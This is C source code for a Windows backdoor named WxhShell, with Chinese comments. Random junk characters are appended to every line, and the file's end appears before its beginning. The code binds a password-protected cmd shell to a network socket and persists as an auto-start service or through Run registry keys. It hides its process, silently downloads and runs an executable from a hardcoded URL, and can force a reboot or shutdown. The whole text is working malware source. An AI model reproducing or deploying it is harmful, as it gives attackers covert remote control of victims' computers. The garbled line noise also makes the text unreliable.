    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t_"]n*zk1  
    else { L; o$vI~U,  
    closesocket(wsh); 1$S`>M%a  
    ExitThread(0); U)Jwo O  
    } H/^t]bg,  
    break; sK/Z 'h{|  
    } Qn!KL0w  
  // 获取shell khb/"VYd  
  case 's': { \c\z 6;j  
    CmdShell(wsh); (7*((  
    closesocket(wsh); haSC[[o=  
    ExitThread(0); ]Vm:iF#5P  
    break; \%czNF  
  } Q3'L\_1L  
  // 退出 BCI[jfd7  
  case 'x': { F@ld#O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A|`mIma#  
    CloseIt(wsh); 6 =H]p1p~O  
    break; e6i m_ Tk  
    } s= bP@[Gj  
  // 离开 :\"V5  
  case 'q': { ,Zva^5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O$(#gB'B  
    closesocket(wsh); vUR@P  -  
    WSACleanup(); wv.HPmq  
    exit(1); TMG|"|  
    break; 8D&yFal  
        } (7A-cC  
  } d",VOhW7)S  
  } DEQ7u`6  
*%n(t+'q  
  // 提示信息 .L8g( F(=:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L #`Vr$  
} r!&}4lHYi  
  } uwc@~=;  
[;pL15-}4  
  return; I\~sE Jwj  
} K# kMz#B+i  
.H}#,pQ}l  
// shell模块句柄 zF@ /8#  
int CmdShell(SOCKET sock) uhvn1"  
{  uWkn}P  
STARTUPINFO si; @ruWnwb  
ZeroMemory(&si,sizeof(si)); y41~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A(D3wctdr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NRMEZ\*L  
PROCESS_INFORMATION ProcessInfo; +GL[uxe "  
char cmdline[]="cmd"; #:xv]qb`k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zo#c[9IaC  
  return 0; >c=-uI  
} D zdKBJT+  
K)#6&\0tT  
// 自身启动模式 ld[BiP`B2V  
int StartFromService(void) "Ky&x$dje  
{ Vs9]Gm  
typedef struct :NynNu'  
{ B4eV$~<  
  DWORD ExitStatus; PB;j4  
  DWORD PebBaseAddress; Zq{TY)PI]  
  DWORD AffinityMask; ^IqD^(Kb  
  DWORD BasePriority; {.r #j|  
  ULONG UniqueProcessId; giHqc7-PaX  
  ULONG InheritedFromUniqueProcessId; ?>DwNz^.!  
}   PROCESS_BASIC_INFORMATION; OjurfVw  
jk{m8YP)E  
PROCNTQSIP NtQueryInformationProcess; C#@-uo2  
IqCh4y3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]2rC n};  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6T6UIq  
d Z}|G-:  
  HANDLE             hProcess; nk"nSXm3SR  
  PROCESS_BASIC_INFORMATION pbi; 'kHa_  
`RyH~4\;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "%ZAL\x  
  if(NULL == hInst ) return 0; MogIQ  
KtcuGI/A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3oM&#a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b!T-{Ns6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &*; Z(ul&9  
)W>9{*4 m  
  if (!NtQueryInformationProcess) return 0; T:3}W0s,  
4k)0OQeW6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %(B6eiA  
  if(!hProcess) return 0; ;umbld0  
4ah5}9{g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vRLWs`1j  
^!Tq(t5V  
  CloseHandle(hProcess); 5l]qhi3f  
[tkP2%1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BFQ`Ab+  
if(hProcess==NULL) return 0; =%d.wH?dZ/  
9>/:c\q+  
HMODULE hMod; FKy2C:R(]  
char procName[255]; Vo%DoZg  
unsigned long cbNeeded; 5P[urOvV  
$pajE^d4V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H^XTzE  
xiO10:L4  
  CloseHandle(hProcess); N~%~Q  
^L-; S  
if(strstr(procName,"services")) return 1; // 以服务启动 ~iJ@x;`  
#:=*n(GT  
  return 0; // 注册表启动 ok{ F=z  
} ?~X^YxWsY  
f@ .s(i=z  
// 主模块 =D Tbz3<  
int StartWxhshell(LPSTR lpCmdLine) z}-8pDD'  
{ p/gf  
  SOCKET wsl; &R3#? 1,  
BOOL val=TRUE; IZ@M K  
  int port=0; sOm&7A?  
  struct sockaddr_in door; #kp +e)F  
o`.5NUn  
  if(wscfg.ws_autoins) Install(); %$F_oO7"  
Bp/25jy  
port=atoi(lpCmdLine);  #zg"E<  
(H-kWT  
if(port<=0) port=wscfg.ws_port; BOme`0A  
3-gy)5.x e  
  WSADATA data; SHQgI<D7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z q@"qnr  
9`Xr7gmQf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DI=?{A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %JuT'7VB  
  door.sin_family = AF_INET; W];l[D<S*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YXIAVSnr  
  door.sin_port = htons(port); -o+; e3#  
AS a)xf9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vAzSpiv-  
closesocket(wsl); Z`>m   
return 1; @DK`#,  
} `%$+rbo~  
lI;ACF^  
  if(listen(wsl,2) == INVALID_SOCKET) { zd3^k<  
closesocket(wsl); ~N8$abQJV  
return 1; m{by%  
} mA4]c   
  Wxhshell(wsl); Q1P=A:*]9  
  WSACleanup(); l8+;)2p!  
ft?c&h;At  
return 0; V"8w:?  
.Ix[&+LsY  
} iu QMVtv  
[{6fyd;  
// 以NT服务方式启动 vOU9[n N[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :_pn|  
{ Q@/Z~xw"'I  
DWORD   status = 0; 8>[o. xV  
  DWORD   specificError = 0xfffffff; >njX=r.  
bf6:J `5Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?L6pB]l8b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; < mp_[-c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v8>bR|n5  
  serviceStatus.dwWin32ExitCode     = 0; 2I{kLN1TY  
  serviceStatus.dwServiceSpecificExitCode = 0; U3|9a8^H  
  serviceStatus.dwCheckPoint       = 0; ^<Zye>KO  
  serviceStatus.dwWaitHint       = 0; $t.M `:G  
Zo@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N]&:xd5  
  if (hServiceStatusHandle==0) return; `{xKU8j^  
j>Cp4  
status = GetLastError(); N ZZc[P  
  if (status!=NO_ERROR) !mK}Rim~  
{ F_~A8y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z |<  
    serviceStatus.dwCheckPoint       = 0; sZ#U{LI  
    serviceStatus.dwWaitHint       = 0; Dq`$3ZeA  
    serviceStatus.dwWin32ExitCode     = status; y':65NMda  
    serviceStatus.dwServiceSpecificExitCode = specificError; d*l2x[8}g-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); , nW)A/?}  
    return; w-LaSJ(T  
  } C'a#.LM  
lbMok/a2o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iIc/%< ;  
  serviceStatus.dwCheckPoint       = 0; =21m|8c  
  serviceStatus.dwWaitHint       = 0; uuYeXI;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "6>+IF  
} 6@Ir|o  
m=V69 a#  
// 处理NT服务事件,比如:启动、停止 d bHxc@H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L4v26*P  
{ J6Nhpzp  
switch(fdwControl) a'?V:3 ]  
{ !H~PF*,hY  
case SERVICE_CONTROL_STOP: f*Yr*yC  
  serviceStatus.dwWin32ExitCode = 0; hZ-?-F?*@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sU"sd7#A  
  serviceStatus.dwCheckPoint   = 0; UL`% Xx  
  serviceStatus.dwWaitHint     = 0; h}=  
  { VCa`|S?2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'L C0hoV  
  } ?%Gzd(YEY  
  return; uIR/^o  
case SERVICE_CONTROL_PAUSE: \  `|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r>J%Eu/O  
  break; d?)Ic1][  
case SERVICE_CONTROL_CONTINUE: ;!)gjiapw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~xf uq{L;  
  break; KU;J2Kt  
case SERVICE_CONTROL_INTERROGATE: [H {2<!  
  break; \Yr&vX/[p  
}; TsY nsLQY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YB3 76/  
} LKYcE;n  
DUb8 HgcV}  
// 标准应用程序主函数 z4JhLef%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qEfg-`*M  
{ cq}i)y  
cRP!O|I`]  
// 获取操作系统版本 `+@r0:G&v  
OsIsNt=GetOsVer(); >)VWXv0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CQH^VTQ  
-lb%X 3`  
  // 从命令行安装 G' mg-{  
  if(strpbrk(lpCmdLine,"iI")) Install(); na_Wp^;  
t""d^a#Dp  
  // 下载执行文件 yv\ j&B|  
if(wscfg.ws_downexe) { \6;b.&%w2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %XH%.Ps/  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9 !V,++j  
} 9(hI%idq  
4{LKT^(!f  
if(!OsIsNt) { i&0Zli  
// 如果时win9x,隐藏进程并且设置为注册表启动 O&r9+r1`  
HideProc(); ,D\}DJ`)C  
StartWxhshell(lpCmdLine); 7$Lt5rn"}  
} #2;8/"v  
else &90pKs  
  if(StartFromService()) W$:D#;jz`h  
  // 以服务方式启动 p/KG{-f,  
  StartServiceCtrlDispatcher(DispatchTable); ]*<!|;q  
else >w#&fd  
  // 普通方式启动 %FLe@.Ep{D  
  StartWxhshell(lpCmdLine); ()zn8_z  
~z7Fz"o<  
return 0; B !Z~jT  
} Pa"[&{:  
o^Qy71Uj  
'25zb+ -  
CmdPa!4)  
=========================================== ';I(#J6  
CIAKXYM  
$>hH{  
+{WZpP},v  
jm,:jkr  
ZV$!dHW/  
" P7*?E*   
c!]yT0v&s  
#include <stdio.h> M>u84|`  
#include <string.h> 1HUe8m[#3  
#include <windows.h> B*n_ VBd  
#include <winsock2.h> RSIhZYA  
#include <winsvc.h> tD6ukK1x  
#include <urlmon.h> $"fO/8Ex  
j){0>O.V  
#pragma comment (lib, "Ws2_32.lib") pf#~|n#t  
#pragma comment (lib, "urlmon.lib") s"(F({J  
D'Uv7Mis  
#define MAX_USER   100 // 最大客户端连接数 |v:fP;zc  
#define BUF_SOCK   200 // sock buffer `/9&o;qM   
#define KEY_BUFF   255 // 输入 buffer 4v.i!U# {  
+HoCG;C{  
#define REBOOT     0   // 重启 h&z(;B!;y.  
#define SHUTDOWN   1   // 关机 ;Ngu(es6  
L<p.2[3  
#define DEF_PORT   5000 // 监听端口 >z k6{kC  
A#nSK#wS61  
#define REG_LEN     16   // 注册表键长度 NUX$)c  
#define SVC_LEN     80   // NT服务名长度 nBzju?X)I  
]wEFm;N  
// 从dll定义API mg<S7+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P>_ r6C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '[Bok=$B)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h&x;#.SYK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VF g"AJf  
3<}r+,j  
// wxhshell配置信息 r_pZK(G%  
struct WSCFG { )V9wU1.  
  int ws_port;         // 监听端口 nS]Ih0( K  
  char ws_passstr[REG_LEN]; // 口令 o^+g2;Ro  
  int ws_autoins;       // 安装标记, 1=yes 0=no pI}6AAs}Z  
  char ws_regname[REG_LEN]; // 注册表键名 OK%d1M^8j  
  char ws_svcname[REG_LEN]; // 服务名 vGD D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e]D TK*W~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lD,;xuQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TCK<IZKLqK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3($tD*!o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]~\%ANoi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ef:YYt{|q  
;:8SN&).  
}; HA~BXxa/  
~--F?KUnL  
// default Wxhshell configuration 'v_k #%  
struct WSCFG wscfg={DEF_PORT, sNsWz.DLT#  
    "xuhuanlingzhe", M ~5Ja0N~  
    1, &o7"L;  
    "Wxhshell", eV(   
    "Wxhshell", 4*?i!<N9  
            "WxhShell Service", a4Y43n  
    "Wrsky Windows CmdShell Service", Og2G0sWRf  
    "Please Input Your Password: ", }nMp.7b  
  1, d+%Rg\ v  
  "http://www.wrsky.com/wxhshell.exe", t ]P^6jw'  
  "Wxhshell.exe" e?fA3Fug  
    }; ML:H\  
APqYf<W  
// 消息定义模块 (gb vInZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W!)B%.Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tWA<OOl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (`&E^t  
char *msg_ws_ext="\n\rExit."; "$e p=h+  
char *msg_ws_end="\n\rQuit."; }=s64O 9j  
char *msg_ws_boot="\n\rReboot..."; \)2~o N  
char *msg_ws_poff="\n\rShutdown..."; lj@ ibA]  
char *msg_ws_down="\n\rSave to "; <O4W!UVg  
Dj'+,{7,u  
char *msg_ws_err="\n\rErr!"; @H8CU!J  
char *msg_ws_ok="\n\rOK!"; cR!Mn$m  
=o_zsDv  
char ExeFile[MAX_PATH]; (gF{S* `  
int nUser = 0; }!jn%@_y@  
HANDLE handles[MAX_USER]; oC|']r6  
int OsIsNt;  |I s"ov  
+H "j-:E@t  
SERVICE_STATUS       serviceStatus; Us4#O&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o=Ia{@   
7-4S'rq+  
// 函数声明 *iXaQuT  
int Install(void); DUvF  
int Uninstall(void); SAokW,  
int DownloadFile(char *sURL, SOCKET wsh); Tr "Bz!  
int Boot(int flag); KWH:tFL.  
void HideProc(void); 8P*wt'Q$  
int GetOsVer(void); TH? wXd\  
int Wxhshell(SOCKET wsl); C*Wyw]:r  
void TalkWithClient(void *cs); Wrs6t  
int CmdShell(SOCKET sock); ;I]$N]8YI  
int StartFromService(void); o*:D/"gb  
int StartWxhshell(LPSTR lpCmdLine); Z1R{'@Y0Z  
|J&=h|-A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <4jqF 4 W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W|V9:A  
h]p$r`i7  
// 数据结构和表定义 4/ Xu,pT  
SERVICE_TABLE_ENTRY DispatchTable[] = `0Xs!f  
{ ]ujXPK=t  
{wscfg.ws_svcname, NTServiceMain}, NJPp6RZ%  
{NULL, NULL} 58gkE94  
}; 3/EJ^C  
SVqKG+{My  
// 自我安装 eOs4c`  
int Install(void) }/}eZCaG  
{ y:,m(P  
  char svExeFile[MAX_PATH];  u'qc=5  
  HKEY key; jl,>0 MA  
  strcpy(svExeFile,ExeFile); mLH,6rO9  
KfV& 7yi  
// 如果是win9x系统,修改注册表设为自启动 =|_k a8{?  
if(!OsIsNt) { M6"a w6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {{ +8oRzY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dS;Ui]/J  
  RegCloseKey(key); \>c1Z5H>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TS@U0Ror  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iKAqM{(  
  RegCloseKey(key); 4[n[Ch=lu  
  return 0; betTAbF  
    } !X+}W[Ic^  
  } 3'6by!N,d  
} i#(+Kxr]>  
else { Y>I9o)KR  
Mb(hdS90  
// 如果是NT以上系统,安装为系统服务 2R~[B]2"r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :?H1h8wbCt  
if (schSCManager!=0) gCv[AIE_m  
{ \x=!'  
  SC_HANDLE schService = CreateService >W^)1E,Qh  
  ( QUz_2rN^  
  schSCManager, t9[%o=N~lD  
  wscfg.ws_svcname, Dj x[3['  
  wscfg.ws_svcdisp, 0oo*F  
  SERVICE_ALL_ACCESS, ?EA&kZR]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ee#\XE=A  
  SERVICE_AUTO_START, T)*tCp]  
  SERVICE_ERROR_NORMAL, -'RD%_  
  svExeFile, V*1-wg5>  
  NULL, 15"[MX A  
  NULL, oZ!+._9  
  NULL, eNFZD1mS  
  NULL, qHC/)M#L  
  NULL !&5B&w{u~!  
  ); Jb]22]  
  if (schService!=0) Wo<kKkx2  
  { :0(:}V3z\  
  CloseServiceHandle(schService); CC XOxd  
  CloseServiceHandle(schSCManager); ;-!O+c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -ei+r#  
  strcat(svExeFile,wscfg.ws_svcname); [<IJ{yfx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L?r\J8Ch<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;  8u5  
  RegCloseKey(key); uAv'%/  
  return 0; <M M(Z  
    } fx = %e  
  } VpWpC&  
  CloseServiceHandle(schSCManager); V;1i/{  
}  4B'-tV  
} =xRxr @  
y+P$}Nru  
return 1; {#H'K*j{  
} 7` IO mTk  
i 2n66d  
// 自我卸载 `bcCj~j  
int Uninstall(void) c$~J7e6$  
{ ~0Xx]  
  HKEY key; zmh5x{US1  
<x\I*%(  
if(!OsIsNt) { ?CZ*MMV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KhPDkD-  
  RegDeleteValue(key,wscfg.ws_regname); KAm$^N5  
  RegCloseKey(key); ]hlYmT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }R)A%FKi@  
  RegDeleteValue(key,wscfg.ws_regname); 0j2M< W#  
  RegCloseKey(key); lv\^@9r  
  return 0; 'cvc\=p  
  } 6|ENDd[  
} l&6+ykQ  
} `sJv?  
else { D]WU,a[$Bc  
5MS5 Q]/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %y R~dt'  
if (schSCManager!=0) ^li(q]g1!  
{ ~:):.5o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &-4SA j  
  if (schService!=0) 99&PY[f:{  
  { MI*@^{G  
  if(DeleteService(schService)!=0) { T.iVY5^<  
  CloseServiceHandle(schService); BxHfL8$1[$  
  CloseServiceHandle(schSCManager); R4[dh.lf  
  return 0; #{suH7  
  } H"%SzU  
  CloseServiceHandle(schService); ~6Df~uN  
  } =.f<"P51k  
  CloseServiceHandle(schSCManager); cK H By  
} 6 +x>g  
} .DZ8kKY  
) GF>]|CG  
return 1; Dp" xO<PE2  
} eHH qm^1z  
(vr v-4  
// 从指定url下载文件 cO/.(KBF  
int DownloadFile(char *sURL, SOCKET wsh) R*z:+p}oHy  
{ zqAp7:  
  HRESULT hr; F)4;:".zna  
char seps[]= "/"; S9@)4|3C|p  
char *token; h,)UB1  
char *file; =1h> N/VJ  
char myURL[MAX_PATH]; OQa;EBO  
char myFILE[MAX_PATH]; -H AUKY@;5  
bB"q0{9G-  
strcpy(myURL,sURL); qlIbnyP<  
  token=strtok(myURL,seps); GXx/pBdy[4  
  while(token!=NULL) iJ 8I# j+N  
  { vV 7L :>  
    file=token; 3M<T}>  
  token=strtok(NULL,seps); t/0h)mL}  
  } i 79;;9M  
8WL*Pr 1I  
GetCurrentDirectory(MAX_PATH,myFILE); ,?Nc\Q<:  
strcat(myFILE, "\\"); 5sK1rDN  
strcat(myFILE, file); :} 9Lb)Yp  
  send(wsh,myFILE,strlen(myFILE),0); DJ<F8-sb2r  
send(wsh,"...",3,0); 0FEn& \2<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hNGD `"U  
  if(hr==S_OK) ;mLbgiqQ J  
return 0; =9'px3:'WR  
else `]\:%+-  
return 1; I85bzzZB  
jq"iLgEMO  
}  |_ `wC  
_ ^cFdP)8|  
// 系统电源模块 6o^sQ(]  
int Boot(int flag) >KMTxHE`+  
{ K18Sj,]B  
  HANDLE hToken; jbK<"T5  
  TOKEN_PRIVILEGES tkp; o5 |P5h  
pxi/ ]6pw  
  if(OsIsNt) { E HY}gG)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @8s:,Y_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r-k,4Yz  
    tkp.PrivilegeCount = 1; XH{P@2~l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DqTp*hI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [d/uy>z,  
if(flag==REBOOT) { E< Ini'od[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &Eqa y'  
  return 0; $7JWA9#N!  
} )k'4]=d <  
else { ,I|TjC5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t+`>zux5(T  
  return 0; @2Ca]2,4  
} ]^ "BLbDZ@  
  } Mk$Pt  
  else { v$i[dZSN[  
if(flag==REBOOT) { VUE6M\&z>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zM*PN|/%sH  
  return 0; 3 h~U)mg  
} _/ Uer }  
else { CEr*VsvjsU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qD/X%`>Q  
  return 0; Da8{==  
} Af%#&r7W  
} #X?#v7i",D  
1l*O;J9By  
return 1; D%NVqk|  
} ??tNMr5{[  
)zoO#tX  
// win9x进程隐藏模块 dN)!B!*aI  
void HideProc(void) Q!_@Am"h  
{ mrvPzoF,]  
~56F<=#,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :VEy\ R>W  
  if ( hKernel != NULL ) )]~;A c^x  
  { 5? rR'0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ij/5m-{6)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :0)nL  
    FreeLibrary(hKernel); UAi]hUq  
  } +GqV9x 8  
ahJu+y  
return; 31@m36? X  
} kbF+aS  
f<T"# G$5  
// 获取操作系统版本 OY>0qj  
int GetOsVer(void) .oR_r1\y  
{ NtnKS@Ht  
  OSVERSIONINFO winfo; V%c1+h<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O%n=n3  
  GetVersionEx(&winfo); B1C"F-2d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zu8l2(N  
  return 1; ~ [4oA$[a|  
  else !U2Wiks  
  return 0; "uthFE  
} z]J pvw`p  
#*|0WaC  
// 客户端句柄模块 KW~fW r8  
int Wxhshell(SOCKET wsl) vKvT7Zxc  
{ /EpsJb`kj  
  SOCKET wsh; Xw2tCRzD  
  struct sockaddr_in client; ,n &e,I  
  DWORD myID; `?PpzDV7Y  
%bs~%6)  
  while(nUser<MAX_USER) gqi|k6V/  
{ MSMgaw?  
  int nSize=sizeof(client); [sT}hYh+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ETA 1\  
  if(wsh==INVALID_SOCKET) return 1; ?H.7 WtTC  
[$D4U@mRp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mCY+V~^~kz  
if(handles[nUser]==0) 1ukCH\YgU  
  closesocket(wsh); lVmm`q6n9  
else ] _ON\v1  
  nUser++; :$#"; t|  
  } 9W[ ~c"Ku  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I>jDM  
?\l@k(w4[x  
  return 0; @6roW\'$  
} HP /@ _qk  
[7:(e/&  
// 关闭 socket '#fwNbD  
void CloseIt(SOCKET wsh) 3~%wA(|A  
{ ?l3PDorR  
closesocket(wsh); ,X2CV INb}  
nUser--; ?_+h+{/@B  
ExitThread(0); 3]iBX`Ni  
} aNW!Y':*  
P}El#y#&  
// 客户端请求句柄 eI 6G  
void TalkWithClient(void *cs) qrj:H4#VB  
{ %z_PEqRj  
fs=W(~"  
  SOCKET wsh=(SOCKET)cs; :]viLw\&g  
  char pwd[SVC_LEN]; {'QA0K  
  char cmd[KEY_BUFF]; {I2qnTN_a  
char chr[1]; B-<H8[GkG1  
int i,j; PJCRvs|X  
V_SZp8  
  while (nUser < MAX_USER) { i8tH0w/(M  
MMI7FlfY  
if(wscfg.ws_passstr) { Xyrf$R'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^,$>z*WQ.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7|"gMw/  
  //ZeroMemory(pwd,KEY_BUFF); Psf'#4g  
      i=0; *c[X{  
  while(i<SVC_LEN) { XSu9C zx&I  
Wn9b</ tf  
  // 设置超时 S$Cht6m  
  fd_set FdRead; &D|wc4+  
  struct timeval TimeOut; }h6 N.vz  
  FD_ZERO(&FdRead); {bSi3oI  
  FD_SET(wsh,&FdRead); B[]v[q<  
  TimeOut.tv_sec=8; ?G#T6$E8  
  TimeOut.tv_usec=0; whzV7RT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z|z+[V}[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `qjiC>9  
pV3o\bk!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FTihxC?.L  
  pwd=chr[0]; jM E==)Y  
  if(chr[0]==0xd || chr[0]==0xa) { },2mIit(  
  pwd=0; } h.]sF  
  break; fh1rmet&Ts  
  } t/=xY'7  
  i++; 7%-+7O3ud  
    } l~/g^lN  
k_2W*2'S  
  // 如果是非法用户,关闭 socket R9/(z\'}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `xO9xo#  
} ?W%9H\;  
%U.aRSf/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  {ws:g![  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "v"w ER?  
483BrFV  
while(1) { \9*,[mvC  
qw!_/Z3[  
  ZeroMemory(cmd,KEY_BUFF); j&G*$/lTO6  
>l\?K8jL9  
      // 自动支持客户端 telnet标准   J&xH "U  
  j=0; B/(]AWi+  
  while(j<KEY_BUFF) { M``I5r*cg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CywQ  
  cmd[j]=chr[0]; Btmv{'T_y@  
  if(chr[0]==0xa || chr[0]==0xd) { W6&s_ (  
  cmd[j]=0; DL^}?Ve  
  break; 6o_t;cpT  
  } TZT1nj"n  
  j++; PF,|Wzx  
    } fNVNx~E  
O6LuFT .  
  // 下载文件 #'qEm=%  
  if(strstr(cmd,"http://")) { USKa6<:{W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -!dL <  
  if(DownloadFile(cmd,wsh)) a!1\,.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7PDz ]i  
  else OZ*V7o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B u ~N)^  
  } m)A~1+M$)L  
  else { s uT#k3  
?#8s=t  
    switch(cmd[0]) { (z}q6Lfa  
